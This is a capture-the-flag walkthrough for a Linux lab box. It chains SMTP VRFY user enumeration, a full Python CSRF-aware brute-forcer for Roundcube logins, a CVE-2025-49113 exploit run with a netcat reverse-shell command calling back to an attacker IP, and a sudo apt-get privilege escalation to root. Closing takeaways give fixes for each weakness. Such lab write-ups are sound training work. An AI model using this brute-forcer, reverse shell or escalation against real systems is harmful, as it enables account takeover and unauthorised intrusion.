HackSmarter: Aftermath — CTF Walkthrough
OS: Linux · SMTP VRFY · Roundcube · CVE-2025-49113 · apt-get sudo
Objective. A penetration test against a Linux server in the client’s network. The goal is root access; the client has planted three flags on the system, and retrieving each demonstrates impact.
TL;DR — the attack chain
- Ports 22, 25 and 80 are open. Web directory enumeration reveals a Roundcube mail server.
- A username and password list are provided, but the list is too long to brute-force blindly.
- SMTP exposes
VRFY, which lets us verify valid users — turning up maria. - Roundcube issues a fresh CSRF token per request, so we write a small Python script to brute-force the login properly. Maria’s creds fall, and the first flag is recovered.
- The Roundcube version is vulnerable to CVE-2025-49113, which we exploit for a reverse shell as
www-data. www-datahas sudo rights onapt-get— abused to pop a root shell.
1. Enumeration
Start with a fast port sweep using rustscan, then feed the open ports to nmap for service and version detection.
sudo rustscan -a 10.0.30.8 -g --ulimit 5000
10.0.30.8 -> [22,25,80]
sudo nmap -p 22,25,80 -A -oN detailed_scan -oX detailed_scan.xml 10.0.30.8
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
25/tcp open smtp Postfix smtpd
|_smtp-commands: kali, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Home
|_http-server-header: Apache/2.4.52 (Ubuntu)
Three things stand out: SSH on 22, a Postfix SMTP server on 25 that advertises VRFY, and an Apache web server on 80.
2. Port 80 — finding Roundcube
Enumerate web directories with ffuf:
ffuf -u http://10.0.30.8/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -c
roundcube [Status: 301, Size: 310, Words: 20, Lines: 10]
server-status [Status: 403, Size: 274, Words: 20, Lines: 10]
A roundcube directory redirects (301) — browsing to it lands on a Roundcube webmail login page.
📷 IMAGE 1 — Roundcube login page. (Replace this line with an Image block: the “Roundcube mail server” screenshot from your Notion.)
3. Port 25 — SMTP user enumeration (VRFY)
The SMTP server left VRFY enabled, which confirms whether a mailbox exists. We can abuse it to validate usernames from the provided list with smtp-user-enum:
smtp-user-enum -M VRFY -U names.txt -t 10.0.30.8
######## Scan started #########
10.0.30.8: maria exists
10.0.30.8: kali exists
######## Scan completed #########
2 results.
Out of 499 candidates, only maria (and the box’s own kali account) come back valid. That gives us a confirmed username to target on Roundcube.
4. Brute-forcing Maria’s Roundcube login
Roundcube embeds a fresh anti-CSRF _token in the login page on every request, so a naive brute-force (e.g. Hydra with a static token) fails. The fix is a script that, for each attempt, first GETs the login page to scrape a valid token, then POSTs the credentials with that token attached.
#!/usr/bin/env python3
"""
Roundcube Login Brute-Forcer (CSRF-aware)
For CTF use only.
"""
import requests
import sys
import os
import argparse
from urllib.parse import urljoin
def parse_args():
parser = argparse.ArgumentParser(
description="Roundcube brute-forcer that handles CSRF tokens per request."
)
parser.add_argument("-u", "--url", required=True,
help="Base URL of Roundcube (e.g. http://target/roundcube/)")
parser.add_argument("-U", "--username", required=True,
help="Username (email) to brute-force")
parser.add_argument("-w", "--wordlist", required=True,
help="Path to password wordlist file")
parser.add_argument("-t", "--timeout", type=int, default=15,
help="Request timeout in seconds (default: 15)")
parser.add_argument("--stop-on-success", action="store_true", default=True,
help="Stop at first valid password (default: True)")
return parser.parse_args()
def load_wordlist(path):
if not os.path.isfile(path):
sys.exit(f"[!] Wordlist not found: {path}")
with open(path, "r", encoding="utf-8", errors="ignore") as f:
return [line.strip() for line in f if line.strip()]
def get_token(session, login_url, timeout):
"""Fetch a fresh _token from the Roundcube login page."""
r = session.get(login_url, timeout=timeout)
r.raise_for_status()
marker = 'name="_token" value="'
if marker not in r.text:
marker = "name='_token' value='"
if marker not in r.text:
raise ValueError("Could not locate _token in login page HTML.")
token = r.text.split(marker, 1)[1].split('"', 1)[0].split("'", 1)[0]
return token
def try_login(base_url, username, password, timeout):
login_url = urljoin(base_url, "?_task=login")
session = requests.Session()
session.headers.update({"User-Agent": "Mozilla/5.0 (CTF)"})
try:
token = get_token(session, login_url, timeout)
data = {
"_token": token,
"_task": "login",
"_action": "login",
"_timezone": "",
"_url": "",
"_user": username,
"_pass": password,
}
resp = session.post(login_url, data=data, allow_redirects=False, timeout=timeout)
# Success: Roundcube typically redirects (302/303) on valid login
if resp.status_code in (301, 302, 303):
return True, resp
return False, resp
except requests.RequestException as e:
return None, str(e)
except ValueError as e:
return None, str(e)
def main():
args = parse_args()
base_url = args.url if args.url.endswith("/") else args.url + "/"
passwords = load_wordlist(args.wordlist)
total = len(passwords)
print(f"[*] Target : {base_url}")
print(f"[*] Username : {args.username}")
print(f"[*] Wordlist : {args.wordlist} ({total} passwords)")
print(f"[*] Timeout : {args.timeout}s\n")
found = None
for i, pwd in enumerate(passwords, 1):
ok, resp = try_login(base_url, args.username, pwd, args.timeout)
if ok is None:
print(f"[{i}/{total}] [!] Error for '{pwd}': {resp}")
continue
if ok:
print(f"[{i}/{total}] [+] SUCCESS: {args.username}:{pwd}")
found = pwd
if args.stop_on_success:
break
else:
print(f"[{i}/{total}] [-] {pwd} (HTTP {resp.status_code})")
print()
if found:
print(f"[+] Credentials found -> {args.username}:{found}")
else:
print("[x] No valid password found in wordlist.")
if __name__ == "__main__":
main()
Run it against Maria with the supplied password list:
python3 roundcube_bf.py -u http://10.0.30.8/roundcube/ -U 'maria' -w passwords.txt --stop-on-success
[*] Target : http://10.0.30.8/roundcube/
[*] Username : maria
[*] Wordlist : passwords.txt (29 passwords)
[1/29] [-] 123456 (HTTP 401)
...
[18/29] [+] SUCCESS: maria:1qaz2wsx
[+] Credentials found -> maria:1qaz2wsx
🚩 Logging into Roundcube as maria:1qaz2wsx recovers the first flag. Full script also on GitHub: github.com/perseeland/rc-csrf-brute
5. Roundcube RCE — CVE-2025-49113
With valid webmail credentials, check the Roundcube version. This install is vulnerable to CVE-2025-49113, a post-authentication remote code execution via insecure PHP object deserialization.
📷 IMAGE 2 — Roundcube version. (Replace this line with an Image block: the version/about screenshot from your Notion.)
We use the public proof of concept from hakaioffsec: github.com/hakaioffsec/CVE-2025-49113-exploit. Start a listener (here with penelope on port 80), then fire the exploit with Maria’s creds and a reverse-shell command:
php CVE-2025-49113.php http://10.0.30.8/roundcube maria 1qaz2wsx \
'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.200.124.109 80 >/tmp/f'
[+] Starting exploit (CVE-2025-49113)...
[*] Checking Roundcube version...
[*] Detected Roundcube version: 10509
[+] Target is vulnerable!
[+] Login successful!
[*] Exploiting...
The PoC prints a file_get_contents() ... HTTP request failed warning while finishing — ignore it. The deserialization payload still lands and the reverse shell fires. Catch it and upgrade to a PTY:
penelope -p 80
[+] [New Reverse Shell] => kali 10.0.30.8 Linux-x86_64 www-data(33) Session ID <1>
[+] Upgrading shell to PTY...
[+] PTY upgrade successful via /usr/bin/python3
www-data@kali:/$ whoami
www-data
6. www-data → root (sudo apt-get)
Check sudo rights for the web user:
www-data@kali:/$ sudo -l
Matching Defaults entries for www-data on kali:
env_reset, mail_badpass, secure_path=..., use_pty
User www-data may run the following commands on kali:
(ALL) NOPASSWD: /usr/bin/apt-get
apt-get via sudo is a known GTFOBins escalation. Its APT::Update::Pre-Invoke hook runs an arbitrary command as root during an update, so we point it at a shell:
📷 IMAGE 3 — root. (Replace this line with an Image block: the privesc / id screenshot from your Notion.)
www-data@kali:/$ sudo /usr/bin/apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
🚩 We now have a root shell — the remaining flags (including /root) are ours. Box rooted.
Takeaways
- Disable SMTP
VRFY. It handed us a confirmed username and collapsed a 499-name guessing problem down to one target. - CSRF tokens aren’t rate-limiting. A per-request token only slows an attacker who writes a few extra lines to scrape it — enforce lockouts and strong passwords.
- Patch Roundcube. CVE-2025-49113 turns any valid mailbox login into code execution. Keep webmail current.
- Least privilege for sudo.
NOPASSWDonapt-getis effectively a root shell via its Pre-Invoke hooks — never grant it to a service account.